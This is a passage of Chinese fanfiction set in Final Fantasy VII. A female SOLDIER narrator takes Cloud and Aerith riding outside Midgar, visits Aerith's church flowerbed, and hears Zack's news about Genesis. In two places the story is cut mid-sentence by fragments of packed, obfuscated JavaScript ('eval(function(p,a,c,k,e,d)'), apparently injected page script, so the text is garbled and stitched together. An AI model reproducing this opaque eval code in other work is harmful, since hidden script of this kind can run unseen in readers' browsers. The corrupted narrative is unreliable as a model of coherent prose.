眼看克劳德即将开口打断我的“感情交流”(他的表情看起来既尴尬又绝望),我伸出手扯了扯陆行鸟的袖子。 “克劳德,等我上位之后,你就是新的1st。封你为星际战士,可以跟萨菲罗斯保安一起作战!” 克劳德被我这番突如其来的“封官许愿”弄得一愣,脸上那点因为担忧而紧绷的表情瞬间垮掉,转而变成了一种更加复杂的混合物——有茫然,有惊讶,可能还有那么零点零一秒的、对于“星际战士”这个听起来很酷炫头衔的微小动摇。 我很满意。 “星际战士吗,听起来确实很威风呢。” 爱丽丝的关注点显然和克劳德完全不同,她的笑容依旧灿烂,翠绿的眼眸里闪烁着好奇的光芒,仿佛对我的“星际征伐”计划产生了浓厚的兴趣。 “那么,你打算怎么开始你的星际征伐呢?是从米德加发射火箭吗?还是说,你有更特别的方法,比如,骑着陆行鸟飞向太空?” 她的语气天真烂漫,却又精准地戳中了“陆行鸟”这个关键词,让我想起了那个荒诞的梦境,连带着心跳又漏跳了半拍。该死,这“病症”还带联想功能的吗? “火箭太慢了,”我强行压下那股眩晕感,挺起胸膛,试图维持住“未来星球主人”的气场,“至于陆行鸟,它们是重要的战略资源,不能用于初期探索。我会先找到特殊的知识,解锁星球本身的能源,然后,直接带着整个盖亚一起进行空间跳跃!” 我大手一挥,仿佛整个星系已经尽在掌握。 “长官,您、您还是先休息一下吧,”克劳德终于找回了自己的声音,他小心翼翼地看了我一眼,又看了看爱丽丝和站在门口一脸担忧的艾米娜女士,语气带着显而易见的焦虑,“您刚才晕倒了,脸色看起来也不太好。机密任务……我们可以改天再做。” 他试图找个台阶下,顺便把我这个“麻烦”带走。 “休息什么?我好得很!”我立刻反驳,试图挺直腰板,却因为那阵阵袭来的眩晕而晃了一下,克劳德连忙过来扶住我。 他手指碰到我腰侧的制服,动作带着一丝犹豫,但还是稳稳地将我扶住了。这家伙的力气不小,我背后的刀可不轻。 金发少年小心翼翼地把我摁回沙发上坐下,那沙发看起来饱经风霜,弹簧估计早就失去了弹性,坐上去发出一声轻微的呻吟。 刚把我安顿好,克劳德就像碰到了烧红的烙铁一样,立刻收回了手,退后了半步,脸上混合着担忧和一种难以言喻的局促不安,湛蓝的眼睛快速地扫了我一眼,又很快移开,仿佛多看一秒都会让我爆炸似的。 爱丽丝望着这一幕,她走过来,接着十分自然的坐在我身边。 “是哪里不舒服吗?那个臂环……我能看看吗?” “……” 我伸出左手,用动作代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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站在一旁的艾米娜女士,一直沉默地观察着我们,此刻也皱起了眉头,看向我的眼神带着明显的审视和不信任。她轻轻拉了一下爱丽丝的手臂,似乎想让她离我这个“危险的神罗人员”远一点。 啧,都是萨菲罗斯的错,谁让我长得跟他像——而大英雄的脸几乎遍布米德加,一下就说明了我在神罗里估计也是个相当重要的角色。 “孩子,你冷静点,”她的声音带着长辈的沉稳,但语气里的警惕显而易见,“这位小姐……她看起来确实需要休息。不过,神罗的医疗部……真的可靠吗?”她的话意有所指,显然对神罗没什么好感。 "神罗的医疗部确实不可靠。" 我对此给予认同的态度,接着伸了个懒腰,一把拉起旁边的克劳德。 "走吧,我们去玩,病治好了——是时候享受我的第三天假期了。" “长官!等等!您的身体!” 克劳德被我拖着往门口走,他另一只手还徒劳地试图抓住门框,想要阻止我这说走就走的行动。 “看什么看?我好得很!”我回头瞪了他一眼,手上加了把劲,硬是把他从门口拖了出来,“这可是我的假期最后一天!” 我几乎是半拖半拽地把克劳德拉出了爱丽丝家的小屋。 门外的阳光有些刺眼,我抬手挡了一下,眯起眼睛适应着光线。那辆暗红色的摩托车果然还停在原地,车身在阳光下反射着不羁的光泽。 “看吧,我的‘坐骑’还在,”我拍了拍克劳德的肩膀,试图安抚他那颗过度担忧的心,“我们先去把它藏好,然后……” 我的话还没说完,就被屋里传来的声音打断了。 “那个,请等一下!” 是爱丽丝的声音,带着一丝急切和好奇。 我转过身,看到棕发少女快步从屋里走了出来,粉色的发带在脑后跳跃。艾米娜女士跟在她身后,脸上依旧带着警惕,但眼神里也多了几分担忧。 爱丽丝跑到我面前,翠绿的眼眸认真地看着我,她的目光掠过我苍白的脸色(虽然我自我感觉良好),最后落在我左臂的臂环上。 “你真的没事吗?” 她轻声问道,语气里充满了真诚的关切,“刚才你吐了很多血,脸色也很差。那个臂环,感觉很特别,它好像和你的身体连接在一起。我觉得,那可能不仅仅是装饰品那么简单。” 少女的直觉敏锐得惊人。她没有像克劳德那样执着于去医院,而是直接点出了臂环的问题。 “我觉得你应该多注意一下它的反应,”爱丽丝继续说道,她的声音柔和而清澈,“刚才它发光的时候,你的情况好像就变得很糟。也许下次再出现类似情况,可以试着先让它平静下来?” 她顿了顿,脸上露出一丝犹豫,但还是接着说了下去:“如果,我是说如果,你找不到让它平静的方法,或者下次情况更严重的话……可以来找我。也许我能帮上一点忙。” 站在她身后的艾米娜女士听到这话,眉头皱得更紧了,似乎想阻止她说下去,但最终还是保持了沉默,只是担忧地看着自己的女儿。 “……哦好啊,我现在好的不得了——对了,你出去玩吗?” 从未出过下层的少女瞪大了眼睛。 32. 第30章 我怎么正气凌然的说服艾米娜的过程就不赘述了。 米德加,出口审查区。 一辆红色的闪电奔驰而出。 执勤的士兵发出惊呼,但在瞥见克劳德的制服以及我的面罩后,没有选择上报。 我在最前方掌握驾座,身后的是环着我腰,闭着眼的棕发少女,而在最后的是握着摩托车后金属架的克劳德,他显露出了罕见的兴奋神色,勉强压住他那上扬的嘴角,但有眼睛的人都看得出来他此刻享受着速度。 很好,克劳德,看来你也喜欢飙车。 啧啧,我的摩托(?)明明就能搭很多人——想起之前我被迫贴在萨菲罗斯背后的模样,他还是太拥挤了。 透过后视镜,我注意到爱丽丝一直不睁眼。 “是风太大了吗?” 不该啊,后面那只陆行鸟正盯着前面看呢,眼睛都不眨一下。 于是我正准备开慢一些,就听见身后少女有些不一样的声音。 “不了……我,不大喜欢天空。” “为什么不喜欢?” 我好奇地追问,稍微放慢了一点车速,颠簸感随之减轻了一些。 “我害怕天空,感觉会被吸进去……” 没等我回答,爱丽丝就补充了一句。 “这很奇怪吧……?” “有什么奇怪的?不喜欢就不喜欢,后面那只陆行鸟还不喜欢他的同类呢。” “……!!” 察觉到气氛不大对的克劳德选择安静后,没想到会突然扯到自己。 他被我这突如其来的一句话噎得够呛,金发少年张了张嘴,似乎想反驳“我才不是陆行鸟!”或者“我没有不喜欢同类!”,但最终还是明智地选择了闭嘴。 他只是用力抓紧了摩托车的后架,湛蓝的眼睛瞪得更大了,也不知道是被风吹的,还是被我气的。 “那个,”反倒是爱丽丝,在我刚才那句话脱口而出后,沉默了几秒,然后用一种带着小心翼翼的语气开口了,声音不大,但刚好能盖过逐渐变得平缓的引擎声,“你说他,不喜欢同类?是指,那个,陆行鸟吗?为什么呀?” 她的问题天真而直接,完全没有意识到我刚才只是在随口调侃克劳德。那双翠绿的眼睛虽然依旧没有睁开,但长长的睫毛微微颤动着,显示出她正在认真倾听。 “因为,”我故意拖长了音调,透过后视镜看了一眼克劳德那副敢怒不敢言的憋屈模样,觉得更有趣了,“这家伙啊,明明自己长得就像只金灿灿的陆行鸟,还非要冒充人类,你说奇不奇怪?他看到别的陆行鸟,估计心里都在想‘哼,这些愚蠢的同类,怎么配跟我相提并论’吧?” “长、长官!”克劳德终于忍不住了,声音带着点不服气的意味,“我根本不是陆行鸟!我也从来没有那样想过!您不要再胡说了!” “噗嗤——” 爱丽丝在听到克劳德那又急又气的反驳后,忍不住笑出了声。她虽然还是闭着眼睛,但肩膀轻轻耸动着,显然是被我们这番幼稚的争论逗乐了。 “对不起,我不是故意笑的,”她的声音带着笑意,清脆悦耳,“只是,陆行鸟的比喻,感觉,嗯,很形象呢。”她小心翼翼地补充了一句,似乎怕惹恼后面那位正牌“陆行鸟”。 “爱、爱丽丝!”克劳德的声音听起来更加窘迫了,他大概没想到自己会在初次见面的可爱女孩面前被比作嘎嘎叫的鸟,“我真的不是——” “好了好了,克劳德,”我心情大好地打断他徒劳的辩解,故意用一种语重心长的语气说,“陆行鸟也没什么不好的啊,又能吃跑的又快。” “长官!你再这样……我……” “你能怎么样?拿喙啄我吗?” 我头都没回的嘲笑他。 爱丽丝的声音里带上了明显的笑意,微微侧过头,柔软的棕色发丝拂过我的手臂。 “感觉,你们关系很好啊!比起上下级,是朋友吧?” 克劳德不知道为什么没应声了。 于是我先他一步开口。 “当然是朋友啊!他还是我小弟呢。” 等我话音落了之后,才听到克劳德有些不自然的回答。 可能是第一次飙车确确实实让他兴奋了,毕竟,平时很少见克劳德主动说我们的关系,也很少见他这样的音调。 “……是朋友。” 克劳德那声闷闷的语句之后,车上的气氛陷入了一种短暂的沉默,只有引擎的轰鸣声和风声在耳边呼啸。 我看到他的身体的僵硬似乎缓解了一些,但他抓着后架的手依旧很用力,像是怕被甩下去,又像是在努力消化刚才那有点丢脸的“陆行鸟”称号。 而我身前的爱丽丝,虽然依旧闭着眼睛,但能感觉到她微微放松了身体,不再像刚上车时那么紧绷。她小幅度地调整了一下姿势,柔软的身体轻轻靠在我的背上。 “朋友啊,”她再次轻声开口,声音里带着一丝好奇,“那你们是怎么认识的呢?是在神罗公司里吗?当战士是不是很辛苦?” “作为神罗战士……幸福吗?” 克劳德现在只是个小兵,那这个问题只能由我回答。 “不幸福,说是神罗战士——其实只是给神罗打工的罢了。” 尤其是我和萨菲罗斯这种从小在神罗长大的,更是从小被压榨到大。 “啊……?” 我斩钉截铁的回答让爱丽丝稍稍愣怔。 “神罗战士是……孩子们的憧憬,保护世界的英雄……这是公开的说法……呃,至于工作强度……” 克劳德开始给我的职业勉强找补了。 “英雄?保护世界?” 我嗤笑一声,摩托车的引擎声似乎也跟着我的语气带上了几分嘲弄,“克劳德,你是不是神罗的宣传手册看多了?醒醒吧,小陆行鸟,那都是骗你们这种热血小兵去卖命的鬼话。” 风声从耳边呼啸而过,将我的声音带向身后。我能想象出克劳德那副又气又急,却又碍于“长官”身份不敢大声反驳的憋屈模样。 “长官!您怎么能这么说!” 果然,克劳德的声音从最后面传来,“神罗战士的存在,是为了维持米德加的秩序!是为了保护民众不受怪物的侵害!我们每天都在进行严苛的训练,执行危险的任务,这一切都是为了守护这座城市!怎么能说是‘打工’和‘卖命’呢?” 他说得义正词严,仿佛下一秒就要跳下车,给我来一段慷慨激昂的演讲。 难得见到这只陆行鸟话这么多。 “哦?严苛的训练?危险的任务?”我挑眉,语气更加散漫,“是啊,训练累得像狗,任务酬劳少得可怜,伙食烂得像压缩饼干,受伤了还得自己掏医药费。这不叫打工卖命叫什么?叫为爱发电吗?” “伙食没有那么差!”克劳德立刻反驳,但底气明显不足,“特种兵的配给还是很不错的!而且、而且受伤了医疗部会负责治疗的!” “那是特种兵,”我毫不留情地戳穿他,“你现在只是个普通小兵,克劳德。你每天吃的营养棒,跟我衣柜里那堆过期货味道差不多。至于医疗部,哼,等他们给你排上号,你的伤口都快自己长好了。” “我、我很快就能晋升了!”克劳德的声音带着不服气和一点点被戳中痛处的恼怒。 我身后的爱丽丝一直安静地听着我们的争论,此刻她微微动了动,柔软的身体更贴近我的后背,似乎想寻求一点依靠,又像是在努力分辨被风吹散的话语。 “那个,”她再次开口,声音轻柔,带着一丝小心翼翼的好奇,“成为神罗战士,要接受一些特殊的手术?这是真的吗?” 她的问题如同清泉,暂时冲淡了我和克劳德之间那点幼稚的争执。 我思考了一下。 “对,而且做的手术越多越强。比如我,比如萨菲罗斯。” 我正准备等他补充些什么,毕竟我提到了萨菲罗斯,那可是他“研究”的大学问——但那只陆行鸟不知道为什么不说话了。 于是我自己补充。 “不过,也有不需要做手术的。比如公司里的新1st扎克斯,他就很少泡魔晄……只要够强都行啦。” “手术会让你们变得很强吗?” 她问道,声音清脆,带着一丝纯粹的求知欲,“会有什么不好的地方吗?听起来,好像很厉害,但又有点……让人害怕。” “没什么好害怕的,不过泡魔晄确实有点……呃,我倒是习惯了。” 一个侧转弯,我带他们直接上了城外的通道。 他俩看起来都是15,16的年纪,我也好像没比他们大多少……具体来说,我估计……20?(如果我比萨菲罗斯小的话) 所以这算是大人带小孩出来郊游吗? 嗯,我觉得是,果然我是有照顾人的天赋的,说不定我是萨菲罗斯的姐姐。 爱丽丝的声音带着点不安,可能是因为突然聊起了这样的事情,也可能是她终于放松了些,一些内心的想法倾泻而出。 “其实,我觉得神罗战士很奇怪……而且,有些可怕,战争和持续不断地战斗……” “……抱歉……” 她安静了。 于是,大家都不说话。 真奇怪。 我望着前方的道路,打破寂静。 “所以我要干掉神罗,建立星际战士。” 稍微平稳的路面,我轻轻敲击摩托的把手,试图展现我的气势。 “科技发达后,人人都可以成为星际战士!星际战士可不只是战斗,主要是去探索不同的星球,发现不同的外星人,当然,他们要是有攻击意向,就可以考虑是否可以食用了。” 爱丽丝的声音在我身后响起。 她似乎在认真思考我刚才的话,语气里带着一种烂漫的好奇,“听起来像是很棒的冒险呢!就像故事书里写的那样。” 她顿了顿,声音稍微低了一些,带着一丝不易察觉的忧虑,“不过,食用他们,真的好吗?万一他们是很友善的种族呢?或者,他们也有自己的家园和梦想呢?” 少女善良的心性让她本能地对“吃掉”这种说法感到不安,即使对象是假设中的、有攻击意向的外星人。她的问题直接而纯粹,带着一种对所有生命的尊重。 没等我回答,最后面的克劳德就忍不住小声嘀咕起来,声音刚好能被我和爱丽丝听到:“ 长官,我们连米德加周围的怪物都还没清理干净呢,现在就考虑吃外星人,是不是有点太早了?而且,星际跳跃什么的,现在的科技根本做不到吧?” 他显然对我这过于跳跃和不切实际的计划感到深深的无语,但又不敢大声反驳,只能用这种“技术性问题”来委婉地表达他的质疑。 啧,克劳德你怎么总是跟我站反面? “克劳德,目光要放长远一点,”我头也不回地教训道,故意提高了音量,“总是盯着眼前的怪物和破烂任务有什么出息?要有征服星辰大海的野心,懂吗?至于科技,那不是问题,等我干掉神罗,接管了他们的研发部,想要什么科技造不出来?” 我说得豪情万丈,仿佛神罗已经是我的囊中之物。 “再说了,爱丽丝,”我稍微侧过头,对着还靠在我背上的少女说道,声音放缓了一些,“我说了,是有攻击意向的才考虑食用。要是遇到友善的外星人,当然是交朋友,请他们来盖亚做客,或者我们去他们的星球旅游嘛。还可以交换土特产,比如用我们的陆行鸟换他们的触手怪?” “触、触手怪?”爱丽丝被我这清奇的脑回路惊了一下,但随即又笑了起来,“听起来,好像也挺有趣的。不过,我还是觉得,能和平相处是最好的。”她轻轻补充道,语气温柔而坚定。 “和平当然好,要保留资源做扩张准备嘛,”我耸耸肩,表示赞同,“但总得做好两手方案。万一遇到不讲道理的,难道等着被他们吃掉吗?先下手为强,把他们变成盘中餐,这叫战略性自卫反击。” “长官,您这理论也太……” 克劳德在后面欲言又止,最终选择放弃争辩。 他做了个明智的选择,如果克劳德又要反驳我,我就要启用我压箱底的陆行鸟笑话了。 就在这时,摩托车冲出了长长的通道。 眼前豁然开朗。 不再是米德加那压抑的钢铁穹顶和冰冷的建筑森林,取而代之的是一片广阔而略显荒凉的原野。天空呈现出一种不同于城内人造光线的、更加深邃的蓝色,几朵稀疏的白云漂浮着。阳光毫无遮挡地照射下来,带着真实的温度,晒在皮肤上暖洋洋的。 空气中不再弥漫着机油、烟尘和各种混杂的气味,而是充满了泥土、青草和某种不知名野花的淡淡芬芳,清新得让人忍不住深吸一口气。远方是连绵起伏的丘陵,线条柔和,覆盖着稀疏的植被。 不过,周围仍然有着巨大的魔晄炉。 “哇——” 爱丽丝忍不住发出小声的惊叹。她终于慢慢地睁开了眼睛,那双翠绿的眸子好奇而惊喜地打量着这片对她而言完全陌生的景色,“这里就是米德加外面吗?好宽阔啊!空气也好好闻!” 她的小脸上洋溢着兴奋的光彩,环着我腰的手臂也下意识地松开了些,身体微微前倾,想要看得更清楚。 就连一直状况外的克劳德,此刻也望着这片不同于城市钢筋水泥的景象,眼神里流露出一丝怀念和放松。 我放慢了车速,让摩托车在土路上缓缓行驶。 虽然我不觉得有什么好看的,但我的两个未来的手下好像很感兴趣。 没错,爱丽丝可以当我的“星际战士”部门里负责探索和植被研究的科学家,她还是我“喜欢”的对象,那就当部长好了。 爱丽丝声音雀跃,“这里好漂亮!那些花,我好像都没见过!还有远处的山,感觉可以爬上去看好远的风景!” 她环在我腰间的手臂放松了许多,身体微微挺直,努力想把周围的景色尽收眼底。那双翠绿色的眼眸闪烁着兴奋的光芒,像两颗被阳光点亮的祖母绿宝石。 “看那边!那片黄色的花好漂亮!它们叫什么名字呀!” 她的手指指向不远处山坡上一片盛开的、颜色鲜艳的野花。那些花朵在风中摇曳,如同金色的波浪。 “大概叫‘黄色野花一号’?或者‘路边随便长长花’?名字不重要,能吃就行。” 我熄灭引擎,长腿一跨下了车。 “长官,那应该是金盏菊,”最后面的克劳德突然小声开口,他似乎对植物有些了解,“我小时候在尼布尔海姆的山上也见过类似的。它们不能吃,但是…晒干了泡茶据说对身体有好处。” 他的声音太小了,除了我谁也听不见,于是我十分自然的剽窃他的知识,转过头对爱丽丝科普。 “开玩笑的,这个叫金盏菊,不能吃,但是能泡茶。” “金盏菊?哇,名字真好听!”爱丽丝重复着这个名字,翠绿的眼眸里闪烁着喜悦的光芒,“泡茶喝对身体好吗?那真是很棒的花呢!姐姐你懂的真多!” 姐姐……? 有趣的称呼,不过,我更喜欢“皇帝”或者“大人”/“大哥”。 “那是,”我故作深沉地说,抬手指向远处的丘陵,“这米德加外面啊,好东西多着呢。你看那边的山,爬上去说不定还能看到兀鹫在天上飞。” “兀鹫?”爱丽丝的眼睛更亮了,她顺着我指的方向望去,脸上充满了向往,“真的吗?我只在书上见过它们的图片!它们是不是很大,翅膀展开有那么——长?”她伸开双臂比划着。 “兀鹫一般生活在比较高的山上,这里可能看不到。不过,有时候会有一些大型的飞行类魔物经过,需要小心一点。” 我直接无视了某个金毛小兵的话,伸出手扶爱丽丝从摩托上跳下来,接着指着那里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“想学啊?”我瞥了他一眼,语气懒洋洋的,“等你什么时候能把我今天打晕的那只大家伙单挑赢了再说吧。那招叫‘随便砍,没什么技术含量,全靠武器好。” “欸?‘随便砍?” 克劳德被我这瞎说的名字弄得一愣,随即反应过来我是在逗他,脸上露出一丝窘迫,“长官您又开玩笑了…但是…真的很厉害!我…我也想变得像您这么强!” “嗯嗯,等我心情好了,就随手教教你一两招‘随便砍’吧。” “真的吗?!谢谢长官!” 克劳德的声音立刻变得认真和激动起来,仿佛已经看到了自己成为绝世高手的未来。 “姐姐,”爱丽丝在我身后又动了动,“其实……我有在米德加种花……” “在米德加种花?” 真的假的,鸟不拉屎的米德加? “嗯!” 爱丽丝在我身后用力地点了点头,语气带着显而易见的自豪和热情,“就在第五区的教堂!那里有个小小的花坛,阳光可以照进来。我种了很多不同颜色的花哦!” 我更疑惑了,“那种地方不是早就没人去了吗?破破烂烂的,说不定哪天就塌了。你在那里种花?不怕被砸到?” “不会的!”爱丽丝连忙解释,声音轻快,“教堂的屋顶虽然有些破洞,但整体还很坚固。而且,正是因为那些破洞,阳光才能照进来呀!花儿需要阳光才能生长得好。” 她的语气充满了对那些花儿的喜爱和呵护,仿佛在谈论自己的孩子。 “阳光,水,还有土壤,”她继续说道,声音变得更加柔和,“只要有这些,即使是在米德加这样地方,生命也可以努力绽放。你不觉得,这很了不起吗?” “确实很了不起。” 毕竟米德加这种地方,连点正常的小动物都没有,居然还能长花——不愧是我未来的科研部部长! 我当即发表新指令。 “好,我们现在去第五区吧!” 话音刚落,我们就再次闯过了米德加的审查区,克劳德怕被熟人认出来,他半遮着自己的脸。 暗红色的摩托车引擎发出的轰鸣声在逐渐密集的建筑间回荡。 第五区的氛围与之前我们经过的第七区既有相似之处,又带着些微妙的不同。这里的建筑同样破旧拥挤,街道狭窄,空中交错着杂乱的电线和管道。 路边能看到一些小小的摊位,贩卖着奇奇怪怪的食物或修补过的旧货,行人行色匆匆。空气中混杂的气味丰富,除了铁锈和油污,还能闻到一些食物的香气和劣质香水的味道。 “第五区到了!”爱丽丝的声音在我身后响起,带着明显的兴奋,“教堂就在前面不远,穿过这条主街,再拐两个弯就到了!”她似乎对这里的路非常熟悉,语气轻快地给我指引着方向。 “教堂建在这种地方,还真是有点奇怪呢,”克劳德的声音也从最后面传来,他似乎稍微放松了一些,不再像之前那样紧绷着身体,半遮着脸的动作也放下了,“我记得第五区以前好像也挺…混乱的。教堂周围安全吗?会不会有地痞流氓或者…魔物什么的?” “哎呀,克劳德你担心太多啦!”爱丽丝笑着回答,声音清脆,“教堂那一带很安静的,平时很少有人去。” 说话间,狭窄的小巷到了尽头,眼前出现了一片相对开阔的小广场。 广场中央,一座饱经风霜的教堂静静矗立着。它的石质外墙斑驳脱落,露出里面深色的砖块,墙壁上爬满了不知名的藤蔓。巨大的彩色玻璃窗大多已经破碎,只剩下扭曲的铅条框架,少数还残留的玻璃碎片在傍晚的光线下闪烁着黯淡的光芒。 整个教堂弥漫着一种荒凉而神圣的奇异氛围,仿佛被时光遗忘在了这个喧嚣的角落。 “就是这里了!”爱丽丝的声音里充满了雀跃,她迫不及待地想从车上跳下来。 我将摩托车稳稳地停在广场边缘的一棵歪脖子树下,熄灭了引擎。周围瞬间安静下来,只剩下远处街道传来的隐约人声和风吹过破损窗户发出的呜呜声。 “这教堂…看起来比我想象的还要破旧啊,”克劳德下了车,仰头打量着这座建筑,脸上露出一丝担忧,“爱丽丝,你确定这里安全吗?屋顶会不会真的塌下来?” “放心啦,克劳德!”爱丽丝从我身后轻巧地跳下来,裙摆飞扬,“我在这里待了很久了,它很坚强的!快来,我带你们去看我的花!” 她说着,拉起我的手腕,就兴冲冲地朝着教堂侧面一条不起眼的小路跑去。她的手心温暖而柔软,带着一种让人安心的力量。 我任由她拉着,另一只手顺便拽上了还在原地发愣的克劳德。 “走啦,陆行鸟,看花去!” “知、知道了!别拽我领子啊长官!” 我们跟着爱丽丝绕到教堂的后面。与正面的荒凉不同,这里别有洞天。一小片空地被简单地清理了出来,旁边堆放着一些破旧的木板和瓦砾。空地的中央,奇迹般地存在着一个不大的花坛。 花坛的边缘是用捡来的碎砖块随意垒砌的,形状并不规整,但看得出主人的用心。花坛里的土壤看起来是精心翻整过的,呈现出一种与周围贫瘠地面截然不同的湿润黑色。 而就在这片小小的土壤上,此刻正盛开着五颜六色的花朵。黄色的花朵开得灿烂,粉色的康乃馨娇艳欲滴,还有一些我不认识的紫色和白色的小花点缀其间。 它们在夕阳的余晖下,努力地舒展着花瓣,散发出淡淡的、混合着泥土气息的清香。阳光透过教堂墙壁上方的几个破洞,恰好洒落在这片花坛上,形成几道温暖的光柱,照亮了那些顽强绽放的生命。 “看!” 爱丽丝松开我的手,跑到花坛边,脸上洋溢着无比自豪和喜悦的笑容,“这就是我的花!漂亮吧!” “唔……” 我没有什么对于赏花的审美,只是蹲下身稍稍闻了闻。 香香的。 拿来炒菜的话—— “砰——” 一个黑色身影从天而降,砸在我身上。 33. 第31章 “长官!” “姐姐!” 两道不同的惊呼声几乎同时响起,带着十足的担忧和惊愕。 我没有抬头。 因为现在我的脸上全是泥。 大太刀因为突然的冲突掉在了一旁,我甚至没有去推开身上那个可能是人的东西,先去握刀—— “前,前辈?!对不起!” 熟悉的中气十足的声音响在耳畔,接着,他手忙脚乱的爬起来,动作幅度大得差点又把我踩回泥里。 扎克斯,又是你,每次都让我丢脸。 内心里猛地深吸一口气,最终,我的手离开了刀柄。 抬起头,果然是扎克斯那张标志性的、此刻写满了惊慌和愧疚的脸。他那一头标志性的刺猬黑发上也沾着几片叶子,制服更是蹭了不少泥点子,看起来比我还狼狈。 “扎克斯……” “前辈!你知道吗?杰内西斯袭击米德加上层了!然后我和萨菲罗斯一起……” 接着,他的嘴里蹦出一个个词。 什么?杰内西斯袭击神罗大厦? 什么,杰内西斯和安吉尔是G计划人造人? 什么?安吉尔长出白色翅膀飞走了? 什么,萨菲罗斯跟杰内西斯单独聊天不带我? 旁边的陆行鸟和爱丽丝满脸茫然,我也满脸茫然,扎克斯几乎不停的说完了这么一大堆后,紧张的看着我。 “……” 我先张了张嘴。 “萨菲罗斯没事吧?” “当然!他现在应该正在赶去神罗大厦,我刚刚从五号魔晄炉掉下来,还有……” 我拍了拍身上的泥土。 “哦,这样。我在休假,还有半天呢。” 有萨菲罗斯在的话肯定能抓到杰内西斯。 那我就不过去了。 扎克斯看着我这副“油盐不进”的模样,急得直跺脚,他身上的泥点子比我还多。 “前辈!现在情况真的很紧急啊!杰内西斯他不知道怎么做的,有很多神罗的制式机器人,安吉尔前辈也……现在他们不知道在神罗大厦做什么,根据萨菲罗斯的说法,估计会对宝条博士下杀手……” 这不是更好了吗? 而且我觉得萨菲罗斯肯定也不会管宝条,这样他估计也不会受伤,不错,回去给他带点花什么的,让他也看看米德加种出的活物。 “宝条死了不好吗?” 我挑了挑眉,掸掉肩膀上最后一点泥土,顺手把刚才掉在一边的“物干竿”捡起来,重新背好,“那老变态早该进棺材了,杰内西斯这算是为民除害,我得给他颁个奖章。” 扎克斯被我这番惊世骇俗的言论噎得差点一口气没上来,他那张沾着泥的英俊脸庞涨得通红,几乎要盖过原本的肤色。 “这怎么能一样呢前辈!现在不是说宝条该不该死的问题!是杰内西斯他袭击神罗大厦!而且,他还带着很多复制体,上层区现在乱成一团,很多无辜的人可能会受伤的!” 我摆摆手。 “反正还有神罗军呢,甚至还有塔克斯……说到底,平时我已经干了这么多活了,现在又要我出面?他们的工资是白领的吗?” 比起这个,我先要给扎克斯介绍一下他未来的两个同事。 “对了,扎克斯。这个是爱丽丝,我未来的科学部部长,再旁边一些的是克劳德,目前兼职我的二号小弟。” “现在不是介绍的时候啊!” 扎克斯猛地向前一步,差点又踩进花坛,他急切地挥舞着手臂,带起一片泥点,“那个,呃,很高兴认识你们!爱丽丝小姐,还有,克劳德!对!我是扎克斯·菲尔,神罗1st特种兵!” 他语速极快地进行自我介绍,像是在赶场,眼神却焦急地看向我,“但是前辈!我们必须快点回神罗大厦!情况真的很危险!萨菲罗斯大人他——” “你好,扎克斯先生,”爱丽丝却在他混乱的发言中抓住了重点,她歪着头,露出一个友善的微笑,翠绿的眼眸好奇地打量着这个突然“空降”的黑发战士,“你刚才说,你从五号魔晄炉掉下来了?那么高的地方,你没有受伤吧?身上好多泥土呢。” 她关注的点显然和扎克斯的危机感完全不在一条线上。 “啊?哦!没事!” 扎克斯下意识地挺了挺胸膛,想展示一下特种兵的强健体魄,但随即又垮了下来,语气焦灼,“谢谢关心,爱丽丝小姐!但是现在重点不是这个!是杰内西斯!他和那些复制体!如果萨菲罗斯大人一个人应付不过来——” 我此刻已经拿出终端给萨菲罗斯发消息了。 【需要我回去吗?】 那边很快就回复了。 【不用。】 然后,我将屏幕怼在扎克斯脸上。 一个小时后,五号区的拉面馆。 我慢条斯理地吃着面,一边看着扎克斯兴高采烈地给爱丽丝安利他最爱的口味,克劳德坐在我一旁,正安静的喝着我给他点的味增汤。 想要说服扎克斯真不容易,我花了20分钟左右,才让他放下了那边的担忧。 萨菲罗斯的实力我很了解——不说他,我自己都能稳稳的抓到好像状态下滑不少的杰内西斯。 给大家点好餐后,我感觉时间差不多了,点开终端。 【你把杰内西斯关哪了?等我回去再一审啊。】 【没有,他走了。】 ???? “哈?” 我不由自主地发出一个单音节,拿着筷子的动作顿在半空中。面条滑溜溜地从筷子间掉回汤碗里,溅起几滴油星。 走了?什么叫走了?被萨菲罗斯打跑了?还是说…萨菲罗斯压根没拦住他? 【怎么回事?(陆行鸟爆炸.jpg)】 【……他的意思是不会回来了。还有……我帮你问了一些事情,杰内西斯念了几句诗回应,需要我复述吗?】 “……” 好吧,我还是应该去的,就知道萨菲罗斯不能真对杰内西斯下杀手。 算了。 下次我一定要亲自问话,不能把他丢给萨菲罗斯了。 【(凝视.jpg)回去找你聊。吃面吗?我给你打包】 放下筷子,我开始给我的拉面拍照。 【(图片)(图片)(图片)看着好吃吧。】 那边回复的很快。 【一共有几个人一起?】 他什么关注点? 【四个。一个话痨小狗,一个可爱小花,还有一个沉默陆行鸟。怎么,你要过来吃吗?(墨镜叼烟.jpg)】 消息发送出去,我放下终端,重新拿起筷子。萨菲罗斯那边暂时没再回复,估计是被我这奇怪的形容噎住了。 啧,又想起杰内西斯了……他到底跟萨菲罗斯说了什么?不会只念诗吧。等我下次遇见他,非得把他那对不符合空气动力学的黑翅膀拔下来做成烤翅不可!还有他那本破诗集,也得抢过来烧掉!想起那家伙念诗的调调,我就浑身不自在。 “前辈,你看你看!这个豚骨拉面汤底超浓郁的!” 扎克斯的声音把我从“如何料理杰内西斯”的幻想中拉了回来。 我敷衍的应了一声,于是他转头继续给爱丽丝介绍。 “爱丽丝小姐,你看这叉烧肉,肥瘦相间,入口即化!还有这个溏心蛋,戳开来蛋黄流出来拌面吃,简直是人间美味!” 他一边说一边用筷子夹起一片叉烧,在爱丽丝面前晃了晃,一副“我介绍的不错吧”的表情。 爱丽丝被他这副样子逗笑了,她用手捂着嘴,翠绿的眼眸弯成了月牙。“嗯嗯,看起来确实很棒呢!扎克斯先生很懂吃嘛!”她的声音清脆悦耳,带着少女特有的甜美。 “那是当然!” 